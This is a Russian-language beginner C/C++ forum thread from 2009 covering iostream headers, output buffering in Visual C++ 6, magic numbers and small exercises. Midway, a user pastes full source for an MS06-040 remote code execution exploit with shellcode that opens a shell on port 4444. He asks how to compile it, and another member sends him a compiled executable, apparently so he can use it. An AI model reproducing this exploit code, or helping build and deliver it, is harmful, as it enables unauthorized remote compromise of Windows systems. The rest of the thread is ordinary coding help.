RE: Вопросы по C/C++ (Для новичков)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 16:36:19.470000
|
|
|
hrantabe
Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
|
другие писал с <iostream.h> ,без всяких std, и все работали . а этот на консуле показывает Hello World press any key to continue . . . может с паузой что то не то ? P.S. У меня Microsoft Visual Studio 6.0
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 17:41:38.493333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Ты объясни, почему не показывает "comment ended \n" и "AAA" ? Наверно у тебя старый .exe запускается, потому как твой код не компилируется. А почему нужно писать без .h - описано практически в любой книжке по С++. Если ты ещё до этого не дошёл - то просто пробуй то, что тебе предлагают, а не спорь налево-направо.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 17:46:55.553333
|
|
|
hrantabe
Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
|
попробовал так как ты сказал (без h) вот
#include <iostream>
#include <cstdlib>
int main ()
{
cout << "Hello World" << endl ;
cout << "comment ended \n" ;
cout << "AAA" ;
system("pause") ;
return 0 ;
}
вот что пишет в Build Compiling… C1.CPP f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(6) : error C2065: 'cout' : undeclared identifier f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(6) : error C2297: '<<' : illegal, right operand has type 'char [12]' f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(6) : error C2065: 'endl' : undeclared identifier f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(7) : error C2297: '<<' : illegal, right operand has type 'char [16]' f:\hrant\vb & c++\c ++\jess liberty\hrant 3\c1.cpp(8) : error C2297: '<<' : illegal, right operand has type 'char [4]' Error executing cl.exe. Hrant 3.exe - 5 error(s), 0 warning(s) ADDED: quote:
Ты объясни, почему не показывает "comment ended \n" и "AAA" ? Наверно у тебя старый .exe запускается, потому как твой код не компилируется. Компилируется , проверил добавив uuu к слову World
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 17:49:17.660000
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
Да, блин, он пишет в vc6.0. А тому плевать на книжки, стандарты, using и .h Там где-то в другом месте собака зарыта.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 17:57:18.556666
|
|
|
hrantabe
Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
|
Исправил сам вместо \n поставил endl вот
#include <iostream.h>
#include <cstdlib>
int main ()
{
cout << "Hello World" << endl ;
cout << "comment ended" << endl ;
cout << "AAA" << endl ;
system("pause") ;
return 0 ;
}
все исполняется нормально
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:01:35.053333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Ставь нормальный компилятор. Твоя программа не компилируется ни одним нормальным компилятором.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:08:18.250000
|
|
|
hrantabe
Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
|
получилось … quote:
Исправил сам вместо \n поставил endl вот #include <iostream.h> #include <cstdlib> int main () { cout << "Hello World" << endl ; cout << "comment ended" << endl ; cout << "AAA" << endl ; system("pause") ; return 0 ; } все исполняется нормально откуда взять … в гугле не написеш нормальный компилятор для с++
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:32:23.173333
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
quote:
ORIGINAL: hrantabe Исправил сам вместо \n поставил endl Поздравляю :) Я подозревал это, но так и не понял как это может влиять… Ладно б ты \r поставил, тогда было б понятно. Но \n ведь должна курсор вниз подвинуть, даже если там какая-нибудь путаница с \r \n возникает. Вариант, что строчки не "добежали" до консоли тоже не катит… Хотя, может и катит. Ну да ладно, можно долго гадать. quote:
ORIGINAL: hrantabe в гугле не написеш нормальный компилятор для с++ gcc. И Dev-C++ или Code::Blocks, или ещё что-нибудь в этом роде поверх него для удобства. Ну точнее надо выбрать то, что для удобства, а компилятор там в поставке идёт.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:34:25.210000
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
Попробуй так: #include <iostream.h>
#include <cstdlib>
int main ()
{
cout << "Hello World" << endl ;
cout << "comment ended \n";
cout << "AAA" << endl ;
system("pause") ;
return 0 ;
} чё будет?
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 18:58:40.650000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Ты же в Visual Studio пишешь? - Так почему бы просто не взять поновее? http://tinyurl.com/m436z2
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 20:22:43.880000
|
|
|
raven314
Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
|
ребят, где с# скачать можно? майкрософт ком чото недоступен. спасите линками, мож есть у кого - залейте плиз. а то гугл сколько не мучал - тока манулы всякие. заранее спасибо!
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 20:41:34.710000
|
|
|
hrantabe
Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
|
quote:
ORIGINAL: rgo Попробуй так: #include <iostream.h>
#include <cstdlib>
int main ()
{
cout << "Hello World" << endl ;
cout << "comment ended \n";
cout << "AAA" << endl ;
system("pause") ;
return 0 ;
} чё будет? так тоже все ок и так тоже #include <iostream.h>
#include <cstdlib>
int main ()
{
cout << "Hello World\n" ;
cout << "comment ended\n" ;
cout << "AAA " <<endl ;
system("pause") ;
return 0 ;
} думаю главное в последней линии endl поставить .
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 20:44:31.450000
|
|
|
Denaturat
Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
|
quote:
ORIGINAL: hrantabe думаю главное в последней линии endl поставить . ну вашу же дивизию, когда вы начнёте хотя бы читать документацию (не говоря уже об исходниках)? http://www.cplusplus.com/reference/iostream/manipulators/endl/ quote:
Additionally, for buffered streams, endl flushes the buffer (i.e. writes all unwritten characters in the buffer to the output sequence, see ostream::flush)
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 21:00:46.016666
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
Не, понятно что endl будет выполнять fflush. Непонятно было другое: 1. '\n' не вызывает сброса буферов. Эта версия первой пришла мне в голову, но она не объяснила ситуации в силу 2. 2. закрытие std::cout вызванное вызовом exit (0), несомненно ведь сбросит буфера, и строчки должны появиться на экране. В общем, я упустил из виду тот факт, что окошко-то закроется очень резко после завершения программы, и сброс буферов происходящий после system("pause") может оказатся незметным глазу. Ну не привык я к закрывающимся окошкам :) Плюс ко всему… может я путаю чего. Но мне казалось, что впервые я столкнулся с этой буферизацией уже в линуксе. Ну с тем, что до перехода на новую строку (или явного вызова flush) реально никакого вывода на экран не будет. А до линукса я пользовал vc6.0. Вот я и смущён несколько сложившейся ситуацией.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-11 21:02:06.133333
|
|
|
Zmaster
Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
|
quote:
ORIGINAL: raven314 ребят, где с# скачать можно? майкрософт ком чото недоступен. спасите линками, мож есть у кого - залейте плиз. а то гугл сколько не мучал - тока манулы всякие. заранее спасибо! Все тут доступно, не знаю что у тебя. http://www.microsoft.com/rus/express/
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-12 00:00:58.120000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
quote:
ORIGINAL: raven314 майкрософт ком чото недоступен. http://www.kaspersky.ru/support/wks6mp3/error?qid=208636215
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-12 00:03:15.996666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
quote:
ORIGINAL: rgo Не, понятно что endl будет выполнять fflush. Непонятно было другое: 1. '\n' не вызывает сброса буферов. Эта версия первой пришла мне в голову, но она не объяснила ситуации в силу 2. Зачем так глубоко копать. У человека был рабочий "Hello world", с уже готовыми exe и pdb и прочей лабудой. Он внёс какие-то неправильные изменения, не почитал, что ему говорит компилятор и нажал Yes при вопросе "Run last succesfull build".
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-12 10:16:29.956666
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
quote:
ORIGINAL: _SaZ_ Зачем так глубоко копать. У человека был рабочий "Hello world", с уже готовыми exe и pdb и прочей лабудой. Он внёс какие-то неправильные изменения, не почитал, что ему говорит компилятор и нажал Yes при вопросе "Run last succesfull build". Потому что тобою предложенная версия была отметена мною ещё раньше. И как видишь, действительно, не в ней дело.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-14 20:16:06.166666
|
|
|
Denaturat
Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
|
quote:
ORIGINAL: rgo Ну не привык я к закрывающимся окошкам :) никогда не понимал, зачем консольное приложение отлаживать не в консоли, а в окне терминала
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:02:04.146666
|
|
|
raven314
Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
|
/*
* MS06-040 Remote Code Execution Proof of Concept
*
* Ported by ub3r st4r aka iRP
* ---------------------------------------------------------------------
* Tested Against:
* Windows XP SP1
* Windows 2000 SP4
*
* Systems Affected:
* Microsoft Windows 2000 SP0-SP4
* Microsoft Windows XP SP0-SP1
* Microsoft Windows NT 4.0
* ---------------------------------------------------------------------
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
* PRIVATE v.0.2 (08-27-06)
*/
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")
// bind uuid interface: 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
unsigned char DCERPC_Bind_RPC_Service[] =
"\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00"
"\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
"\xC8\x4F\x32\x4B\x70\x16\xD3\x01\x12\x78\x5A\x47\xBF\x6E\xE1\x88"
"\x03\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00"
"\x2B\x10\x48\x60\x02\x00\x00\x00";
// request windows api: NetprPathCanonicalize (0x1f)
unsigned char DCERPC_Request_RPC_Service[] =
"\x05\x00\x00\x03\x10\x00\x00\x00\x30\x08\x00\x00\x00\x00\x00\x00"
"\x18\x08\x00\x00\x00\x00\x1f\x00\xff\xff\xff\xff\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
// path ...
unsigned char DCERPC_Request_RPC_Service_[] =
"\xfa\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00"
"\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00";
unsigned char sc[] =
"\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa8\x97\x90"
"\x88\x83\xeb\xfc\xe2\xf4\x29\x53\x6f\x67\x57\x68\xd4\x74\xc2\x7c"
"\xdd\x60\x51\x68\x6f\x77\xc8\x1c\xfc\xac\x8c\x1c\xd5\xb4\x23\xeb"
"\x95\xf0\xa9\x78\x1b\xc7\xb0\x1c\xcf\xa8\xa9\x7c\xd9\x03\x9c\x1c"
"\x91\x66\x99\x57\x09\x24\x2c\x57\xe4\x8f\x69\x5d\x9d\x89\x6a\x7c"
"\x64\xb3\xfc\xb3\xb8\xfd\x4d\x1c\xcf\xac\xa9\x7c\xf6\x03\xa4\xdc"
"\x1b\xd7\xb4\x96\x7b\x8b\x84\x1c\x19\xe4\x8c\x8b\xf1\x4b\x99\x4c"
"\xf4\x03\xeb\xa7\x1b\xc8\xa4\x1c\xe0\x94\x05\x1c\xd0\x80\xf6\xff"
"\x1e\xc6\xa6\x7b\xc0\x77\x7e\xf1\xc3\xee\xc0\xa4\xa2\xe0\xdf\xe4"
"\xa2\xd7\xfc\x68\x40\xe0\x63\x7a\x6c\xb3\xf8\x68\x46\xd7\x21\x72"
"\xf6\x09\x45\x9f\x92\xdd\xc2\x95\x6f\x58\xc0\x4e\x99\x7d\x05\xc0"
"\x6f\x5e\xfb\xc4\xc3\xdb\xfb\xd4\xc3\xcb\xfb\x68\x40\xee\xc0\x86"
"\xcc\xee\xfb\x1e\x71\x1d\xc0\x33\x8a\xf8\x6f\xc0\x6f\x5e\xc2\x87"
"\xc1\xdd\x57\x47\xf8\x2c\x05\xb9\x79\xdf\x57\x41\xc3\xdd\x57\x47"
"\xf8\x6d\xe1\x11\xd9\xdf\x57\x41\xc0\xdc\xfc\xc2\x6f\x58\x3b\xff"
"\x77\xf1\x6e\xee\xc7\x77\x7e\xc2\x6f\x58\xce\xfd\xf4\xee\xc0\xf4"
"\xfd\x01\x4d\xfd\xc0\xd1\x81\x5b\x19\x6f\xc2\xd3\x19\x6a\x99\x57"
"\x63\x22\x56\xd5\xbd\x76\xea\xbb\x03\x05\xd2\xaf\x3b\x23\x03\xff"
"\xe2\x76\x1b\x81\x6f\xfd\xec\x68\x46\xd3\xff\xc5\xc1\xd9\xf9\xfd"
"\x91\xd9\xf9\xc2\xc1\x77\x78\xff\x3d\x51\xad\x59\xc3\x77\x7e\xfd"
"\x6f\x77\x9f\x68\x40\x03\xff\x6b\x13\x4c\xcc\x68\x46\xda\x57\x47"
"\xf8\x67\x66\x77\xf0\xdb\x57\x41\x6f\x58";
int main(int argc, char* argv[])
{
HANDLE hFile;
NETRESOURCE nr;
char szRemoteName[MAX_PATH], szPipePath[MAX_PATH];
unsigned int i;
unsigned char szInBuf[4096];
unsigned long dwRead, nWritten;
unsigned char szReqBuf[2096];
if (argc < 3){
printf("[-] Usage: ms06040poc <host> [target]\n");
printf("\t1 - Windows 2000 SP0-SP4\n");
printf("\t2 - Windows XP SP0-SP1\n");
return -1;
}
memset(szReqBuf, 0, sizeof(szReqBuf));
if (atoi(argv[2]) == 1) {
unsigned char szBuff[1064];
// build payload buffer
memset(szBuff, '\x90', 1000);
memcpy(szBuff+630, sc, sizeof(sc));
for(i=1000; i<1064; i+=4) {
memcpy(szBuff+i, "\x04\x08\x02\x00", 4);
}
// build request buffer
memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);
memcpy(szReqBuf+44, "\x15\x02\x00\x00", 4); /* max count */
memcpy(szReqBuf+48, "\x00\x00\x00\x00", 4); /* offset */
memcpy(szReqBuf+52, "\x15\x02\x00\x00", 4); /* actual count */
memcpy(szReqBuf+56, szBuff, sizeof(szBuff));
memcpy(szReqBuf+1120, "\x00\x00\x00\x00", 4); /* align string */
memcpy(szReqBuf+1124, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1);
memcpy(szReqBuf+1140 , "\xeb\x02", 2);
}
if (atoi(argv[2]) == 2) {
unsigned char szBuff[708];
memset(szBuff, '\x90', 612); /* size of shellcode */
memcpy(szBuff, sc, sizeof(sc));
memcpy(szBuff+612, "\x0a\x08\x02\x00", 4);
memset(szBuff+616, 'A', 8); // 8 bytes padding
memcpy(szBuff+624, "\x04\x08\x02\x00", 4);
memset(szBuff+628, '\x90', 32);
memcpy(szBuff+660, "\x04\x08\x02\x00", 4);
memset(szBuff+664, 'B', 8); // 8 bytes padding
memcpy(szBuff+672, "\x04\x08\x02\x00", 4);
memset(szBuff+676, '\x90', 32);
// build request buffer
memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1);
memcpy(szReqBuf+44, "\x63\x01\x00\x00", 4); /* max count */
memcpy(szReqBuf+48, "\x00\x00\x00\x00", 4); /* offset */
memcpy(szReqBuf+52, "\x63\x01\x00\x00", 4); /* actual count */
memcpy(szReqBuf+56, szBuff, sizeof(szBuff));
memcpy(szReqBuf+764, "\x00\x00\x00\x00", 4); /* align string */
memcpy(szReqBuf+768, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1);
}
printf("[+] Connecting to %s ... \n", argv[1]);
_snprintf(szRemoteName, sizeof(szRemoteName), "\\\\%s\\ipc$", argv[1]);
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpProvider = NULL;
nr.lpRemoteName = szRemoteName;
if (WNetAddConnection2(&nr, "", "", 0) != NO_ERROR) {
printf("[-] Failed to connect to host !\n");
return -1;
}
_snprintf(szPipePath, sizeof(szPipePath), "\\\\%s\\pipe\\browser", argv[1]);
hFile = CreateFile(szPipePath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open named pipe !\n");
return -1;
}
printf("[+] Binding to RPC interface ... \n");
if (TransactNamedPipe(hFile, DCERPC_Bind_RPC_Service, sizeof(DCERPC_Bind_RPC_Service), szInBuf, sizeof(szInBuf), &dwRead, NULL) == 0) {
printf("[-] Failed to bind to interface !\n");
CloseHandle(hFile);
return -1;
}
printf("[+] Sending RPC request ... \n");
if (!WriteFile(hFile, szReqBuf, sizeof(szReqBuf), &nWritten, 0)) {
printf("[-] Unable to transmit RPC request !\n");
CloseHandle(hFile);
return -1;
}
printf("[+] Now check for shell on %s:4444 !\n", argv[1]);
return 0;
}
// milw0rm.com [2006-08-28] ето си? если да, то как скомпилить етот сплойт?
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:27:15.873333
|
|
|
Actek
Сообщений: 604
Оценки: 0
Присоединился: 2008-02-24 10:24:14.710000
|
это Си - любой компилятор бери и собирай
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:36:23.450000
|
|
|
raven314
Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
|
quote:
ORIGINAL: Actek это Си - любой компилятор бери и собирай devcpp-4.9.9.2 подойдет? собрал в файл *.с все правильно?
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:39:44.220000
|
|
|
Actek
Сообщений: 604
Оценки: 0
Присоединился: 2008-02-24 10:24:14.710000
|
quote:
devcpp-4.9.9.2 подойдет? пойдет quote:
собрал в файл *.с это исходный файл, тебе нужен исполняемый(exe)
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 14:52:47.373333
|
|
|
raven314
Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
|
черт. как то я криво скомпилил. Ацтек, можешь взять код и скинуть мне экзешник как нить? очень прошу. весь день выношу себе моск етим сплойтом >_<
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 15:01:26.890000
|
|
|
Actek
Сообщений: 604
Оценки: 0
Присоединился: 2008-02-24 10:24:14.710000
|
держи
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 15:07:20.850000
|
|
|
raven314
Сообщений: 101
Оценки: 0
Присоединился: 2008-11-02 11:03:05.490000
|
спасибо.) щас буду пытаться понять как это использовать >_>
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 19:20:20.003333
|
|
|
Denaturat
Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
|
quote:
ORIGINAL: raven314 ето си? если да, то как скомпилить етот сплойт? quote:
ORIGINAL: raven314 собрал в файл *.с quote:
ORIGINAL: raven314 можешь взять код и скинуть мне экзешник как нить? очень прошу. весь день выношу себе моск етим сплойтом >_< quote:
ORIGINAL: raven314 щас буду пытаться понять как это использовать >_> убивать
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-21 20:14:10.146666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Раньше в яндексе по запросу лайт эллой, 5-й результат поиска был таков: quote:
Light Alloy 4.4.794 RC3 скачала light Alloy 4.0.6035 , а он у меня в формате winrar.Подскажите как правильно скачать эту программу. Amirhon | 09-09-06 02:39. Почему-то мне это всё напоминает белокурых девушек с большими ( . )( . )
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-30 17:02:00.663333
|
|
|
hrantabe
Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
|
Скажите а нужни ли нафиг блок схемы , чтобы знать С++ ? Просто мы проходим это в институте . Ещё есть одна функциа MessageBeep ( пишу MFC application ) вот пример { // TODO: Add your control notification handler code here MessageBeep((WORD)-2) ; } Почему (WORD)-2 , а не одно из этих ( нашел в MSDN ) . Value Desсriрtion 0xFFFFFFFF————————–SystemDefault MB_ICONASTERISK————————–SystemAsterisk MB_ICONEXCLAMATION————————–SystemExclamation MB_ICONHAND————————–SystemHand MB_ICONQUESTION————————–SystemQuestion MB_OK————————–SystemDefault
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-30 17:10:04.226666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Убивать за волшебные числа в коде.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-30 17:13:35.580000
|
|
|
hrantabe
Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
|
?
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-09-30 17:26:42.773333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Анти-паттернт такой есть: Волшебные числа (Magic numbers). Включение необъяснимых чисел в алгоритмы. Или http://ru.wikipedia.org/wiki/Магическое_число_(программирование)
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 12:57:43.546666
|
|
|
Mongol4uk
Сообщений: 20
Оценки: 0
Присоединился: 2009-05-26 19:19:22.326666
|
Ввести строку и букву, вывести только слова, начинающиеся с заданной буквы. Не пишите полностью весь код, напишите только код отдельной части, а именно: куда поместить вводимую строку и букву?(в виде кода) Заранее спасибо!
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 14:45:38.026666
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
std::string char
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 19:20:14.233333
|
|
|
Mongol4uk
Сообщений: 20
Оценки: 0
Присоединился: 2009-05-26 19:19:22.326666
|
блин чето у меня не получается: как вот в этом задании задать функцию main? Ввести строку и букву, вывести только слова, начинающиеся с заданной буквы. Кому не лень напишите пожалуйста весь код, я сдаюсь
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 20:02:09.900000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Пиши сюда то, что ты уже сделал… И за одно укажи язык программирования: си или си++.
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 20:59:36.380000
|
|
|
Mongol4uk
Сообщений: 20
Оценки: 0
Присоединился: 2009-05-26 19:19:22.326666
|
С++ #include<stdio.h> int main () { int i,k,c; char s[1000]; printf("Bbedute ctpoky u Ha)I(muTe enter,potom BBedute 6ykBy\n"); for(i=0;i<1000 && (c=getchar()) && c!=EOF;i++) { s=c; if (c=='\n') { c=getchar(); if (c!= '\n' || c != ' ' || с != '\t') { s=c; k=i; break; } break; } } for(i=0;i<=k;i++) { printf("%c",s); } } пока что только так. я хотел бы : вводишь строку жмешь ентер и пока ты не нажал еще один символ цикл бы не остановился, что делать? где накасячил?
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-10-01 21:21:55.963333
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Во первых, для оформления кода есть тэг code - без него нифига не понятно, что ты там написал. Во вторых, не пиши столбиком, форматируй код. В третьих, для чтения строки есть функция gets. В четвёртых, у тебя не си++, а си. … Бесконечный цикл можно сделать так:
for( ; ; )
{
// тело цикла
}
или так
while ( 1 )
{
// тело цикла
}
Вывод строки: puts( s ) или printf( "%s", s ); Исправляйся ;)
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-10-03 20:20:20.273333
|
|
|
nicea
Сообщений: 25
Оценки: 0
Присоединился: 2009-05-09 19:41:22.990000
|
Пишу игру - змейку. Реализовал всё, кроме одного - чтобы змейка сама двигалась через определенное время. Намекните, как можно сделать, чтобы если в течении секунды я не нажимал клавишу, то змейка двигалась бы сама. Не знаю нужно ли, но движение осуществлялось так. button=getch();
switch(button)
{
case w:......
case d:.......
case s:.......
case a:......
}
|
|
|
RE: Вопросы по C/C++ (Для новичков) - 2009-10-03 20:37:11.916666
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
2nicea while (1) {
if (kbhit ()) {
button = getch ();
switch (button) {
...
}
} else {
// просто двигаем змейку.
}
delay (1000); // я не помню в чём измеряется аргумент для delay, но, в конце концов, размер паузы можно подобрать экспериментально.
}
|
|
|
|
|